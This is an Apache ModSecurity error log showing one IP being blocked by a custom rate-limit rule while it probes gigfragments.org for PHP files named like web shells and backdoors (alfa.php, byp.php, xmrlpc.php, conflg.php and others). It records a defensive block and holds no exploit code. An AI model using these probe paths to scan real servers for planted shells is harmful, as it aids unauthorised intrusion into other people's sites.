[Sun Dec 14 18:52:14.866608 2025] [:error] [pid 39523:tid 39538] [client 4.194.46.139:10178] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aT6W3jQTQH1raAj2lkjH7QAAAAo"]
[Sun Dec 14 18:52:15.567613 2025] [:error] [pid 39614:tid 39619] [client 4.194.46.139:10177] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aT6W3_xybG8-9MflbDdJfAAAAMM"]
[Sun Dec 14 18:52:17.734963 2025] [:error] [pid 40596:tid 40650] [client 4.194.46.139:10229] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aT6W4WvZZo4N2X7WoLxwZwAAAdg"]
[Sun Dec 14 18:52:21.252405 2025] [:error] [pid 39525:tid 39597] [client 4.194.46.139:10129] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aT6W5U1fX_pB_BrvE_4t6wAAAI4"]
[Sun Dec 14 18:52:22.241887 2025] [:error] [pid 41600:tid 41606] [client 4.194.46.139:17504] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aT6W5tFLTBZjcwNd_VvcYwAAAQM"]
[Sun Dec 14 18:52:23.487911 2025] [:error] [pid 39524:tid 39576] [client 4.194.46.139:10179] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aT6W52rVGpbDzFtDE9PBjwAAAFQ"]
[Sun Dec 14 18:52:24.204116 2025] [:error] [pid 40595:tid 40609] [client 4.194.46.139:10224] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aT6W6Pjrht6y4RN-xKT-MAAAAYo"]
[Sun Dec 14 18:52:24.695779 2025] [:error] [pid 39524:tid 39569] [client 4.194.46.139:10057] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aT6W6GrVGpbDzFtDE9PBkgAAAE0"]
[Sun Dec 14 18:52:25.306046 2025] [:error] [pid 41600:tid 41603] [client 4.194.46.139:10210] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aT6W6dFLTBZjcwNd_VvccAAAAQA"]
[Sun Dec 14 18:52:44.852348 2025] [:error] [pid 40561:tid 40588] [client 4.194.46.139:10220] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aT6W_IY6r869zoqRQkSyjQAAAVc"]
[Sun Dec 14 18:52:45.421484 2025] [:error] [pid 39525:tid 39586] [client 4.194.46.139:10087] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aT6W_U1fX_pB_BrvE_4uGwAAAIM"]
[Sun Dec 14 18:52:45.744192 2025] [:error] [pid 41600:tid 41612] [client 4.194.46.139:17444] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aT6W_dFLTBZjcwNd_VvcowAAAQk"]
[Sun Dec 14 18:52:46.421461 2025] [:error] [pid 39524:tid 39562] [client 4.194.46.139:17502] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aT6W_mrVGpbDzFtDE9PB9QAAAEY"]
[Sun Dec 14 18:52:47.278702 2025] [:error] [pid 39525:tid 39585] [client 4.194.46.139:10212] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aT6W_01fX_pB_BrvE_4uHAAAAII"]
[Sun Dec 14 18:52:47.858684 2025] [:error] [pid 39614:tid 39639] [client 4.194.46.139:10167] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aT6W__xybG8-9MflbDdJ9QAAANc"]
[Sun Dec 14 18:52:48.715412 2025] [:error] [pid 39524:tid 39576] [client 4.194.46.139:10138] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aT6XAGrVGpbDzFtDE9PB9gAAAFQ"]
[Sun Dec 14 18:52:49.259579 2025] [:error] [pid 41600:tid 41616] [client 4.194.46.139:10209] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aT6XAdFLTBZjcwNd_VvcpAAAAQ0"]
[Sun Dec 14 18:52:50.863337 2025] [:error] [pid 40596:tid 40632] [client 4.194.46.139:10116] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aT6XAmvZZo4N2X7WoLxwjwAAAcY"]
[Sun Dec 14 18:52:51.553609 2025] [:error] [pid 13799:tid 13805] [client 4.194.46.139:10118] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aT6XA3jPEin01ElFTNYcVgAAAgM"]
[Sun Dec 14 18:52:52.768396 2025] [:error] [pid 39614:tid 39626] [client 4.194.46.139:17440] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aT6XBPxybG8-9MflbDdKEgAAAMo"]
[Sun Dec 14 18:52:53.971603 2025] [:error] [pid 40596:tid 40631] [client 4.194.46.139:17494] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aT6XBWvZZo4N2X7WoLxwkwAAAcU"]
[Sun Dec 14 18:52:55.633514 2025] [:error] [pid 39524:tid 39577] [client 4.194.46.139:17459] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aT6XB2rVGpbDzFtDE9PB-QAAAFU"]
[Sun Dec 14 18:52:56.151492 2025] [:error] [pid 13799:tid 13804] [client 4.194.46.139:10190] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aT6XCHjPEin01ElFTNYcWgAAAgI"]
[Sun Dec 14 18:52:56.750144 2025] [:error] [pid 39523:tid 39547] [client 4.194.46.139:10233] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aT6XCDQTQH1raAj2lkjH-AAAABM"]
[Sun Dec 14 18:52:57.145772 2025] [:error] [pid 40561:tid 40584] [client 4.194.46.139:10117] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aT6XCYY6r869zoqRQkSyjgAAAVM"]
[Sun Dec 14 18:52:58.184781 2025] [:error] [pid 39614:tid 39627] [client 4.194.46.139:17454] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aT6XCvxybG8-9MflbDdKLgAAAMs"]
[Sun Dec 14 18:52:58.793891 2025] [:error] [pid 39614:tid 39621] [client 4.194.46.139:10238] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aT6XCvxybG8-9MflbDdKMAAAAMU"]
[Sun Dec 14 18:52:59.539434 2025] [:error] [pid 39523:tid 39530] [client 4.194.46.139:17453] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aT6XCzQTQH1raAj2lkjH-QAAAAI"]
[Sun Dec 14 18:53:00.522003 2025] [:error] [pid 39523:tid 39532] [client 4.194.46.139:17529] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aT6XDDQTQH1raAj2lkjH-wAAAAQ"]
[Sun Dec 14 18:53:00.986594 2025] [:error] [pid 40595:tid 40603] [client 4.194.46.139:10165] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aT6XDPjrht6y4RN-xKT-fQAAAYQ"]
[Sun Dec 14 18:53:02.285675 2025] [:error] [pid 39524:tid 39562] [client 4.194.46.139:10133] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aT6XDmrVGpbDzFtDE9PCAgAAAEY"]
[Sun Dec 14 18:53:03.142080 2025] [:error] [pid 40595:tid 40609] [client 4.194.46.139:10141] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aT6XD_jrht6y4RN-xKT-fwAAAYo"]
[Sun Dec 14 18:53:04.159474 2025] [:error] [pid 13799:tid 13826] [client 4.194.46.139:10213] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aT6XEHjPEin01ElFTNYcXwAAAhg"]
[Sun Dec 14 18:53:04.671640 2025] [:error] [pid 41600:tid 41612] [client 4.194.46.139:10164] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aT6XENFLTBZjcwNd_VvcsQAAAQk"]
[Sun Dec 14 18:53:05.679656 2025] [:error] [pid 39614:tid 39619] [client 4.194.46.139:10127] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aT6XEfxybG8-9MflbDdKNAAAAMM"]
[Sun Dec 14 18:53:06.719855 2025] [:error] [pid 40561:tid 40566] [client 4.194.46.139:10153] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aT6XEoY6r869zoqRQkSykQAAAUE"]
[Sun Dec 14 18:53:08.002772 2025] [:error] [pid 40595:tid 40605] [client 4.194.46.139:10171] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aT6XFPjrht6y4RN-xKT-hQAAAYY"]
[Sun Dec 14 18:53:10.058740 2025] [:error] [pid 39614:tid 39630] [client 4.194.46.139:10128] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aT6XFvxybG8-9MflbDdKNgAAAM4"]
[Sun Dec 14 18:53:11.236500 2025] [:error] [pid 40561:tid 40574] [client 4.194.46.139:10136] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aT6XF4Y6r869zoqRQkSylAAAAUk"]
[Sun Dec 14 18:53:12.024600 2025] [:error] [pid 39614:tid 39622] [client 4.194.46.139:10216] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aT6XGPxybG8-9MflbDdKOQAAAMY"]
[Sun Dec 14 18:53:12.985283 2025] [:error] [pid 39524:tid 39563] [client 4.194.46.139:10188] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aT6XGGrVGpbDzFtDE9PCBwAAAEc"]
[Sun Dec 14 18:53:14.484889 2025] [:error] [pid 39523:tid 39549] [client 4.194.46.139:10215] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aT6XGjQTQH1raAj2lkjIAgAAABU"]
[Sun Dec 14 18:53:15.067047 2025] [:error] [pid 39523:tid 39551] [client 4.194.46.139:10115] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aT6XGzQTQH1raAj2lkjIAwAAABc"]
[Sun Dec 14 18:53:16.636841 2025] [:error] [pid 41600:tid 41618] [client 4.194.46.139:10114] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aT6XHNFLTBZjcwNd_VvcvQAAAQ8"]
[Sun Dec 14 18:53:17.917398 2025] [:error] [pid 39524:tid 39580] [client 4.194.46.139:17469] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/conflg.php"] [unique_id "aT6XHWrVGpbDzFtDE9PCCQAAAFg"]
[Sun Dec 14 18:53:18.406454 2025] [:error] [pid 41600:tid 41604] [client 4.194.46.139:10207] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aT6XHtFLTBZjcwNd_VvcwAAAAQE"]
[Sun Dec 14 18:53:19.190072 2025] [:error] [pid 40561:tid 40570] [client 4.194.46.139:10130] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aT6XH4Y6r869zoqRQkSymwAAAUU"]
[Sun Dec 14 18:53:19.673396 2025] [:error] [pid 39614:tid 39621] [client 4.194.46.139:10058] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aT6XH_xybG8-9MflbDdKPQAAAMU"]
[Sun Dec 14 18:53:20.961405 2025] [:error] [pid 13799:tid 13812] [client 4.194.46.139:10182] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmrlpc.php"] [unique_id "aT6XIHjPEin01ElFTNYcbwAAAgo"]
[Sun Dec 14 18:53:22.445655 2025] [:error] [pid 41600:tid 41605] [client 4.194.46.139:10048] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aT6XItFLTBZjcwNd_VvcwgAAAQI"]
[Sun Dec 14 18:53:23.511289 2025] [:error] [pid 40561:tid 40583] [client 4.194.46.139:10174] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aT6XI4Y6r869zoqRQkSynwAAAVI"]
[Sun Dec 14 18:53:24.875623 2025] [:error] [pid 39524:tid 39560] [client 4.194.46.139:10217] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aT6XJGrVGpbDzFtDE9PCDQAAAEQ"]
[Sun Dec 14 18:53:26.191158 2025] [:error] [pid 41600:tid 41611] [client 4.194.46.139:17488] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asas.php"] [unique_id "aT6XJtFLTBZjcwNd_VvcxQAAAQg"]
[Sun Dec 14 18:53:27.071120 2025] [:error] [pid 40561:tid 40576] [client 4.194.46.139:10195] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT6XJ4Y6r869zoqRQkSyogAAAUs"]
[Sun Dec 14 18:53:27.726157 2025] [:error] [pid 40561:tid 40571] [client 4.194.46.139:10074] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT6XJ4Y6r869zoqRQkSypAAAAUY"]
[Sun Dec 14 18:53:29.137895 2025] [:error] [pid 39523:tid 39533] [client 4.194.46.139:10089] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT6XKTQTQH1raAj2lkjIDwAAAAU"]
[Sun Dec 14 18:53:30.023009 2025] [:error] [pid 39614:tid 39633] [client 4.194.46.139:10052] [client 4.194.46.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aT6XKvxybG8-9MflbDdKdAAAANE"]
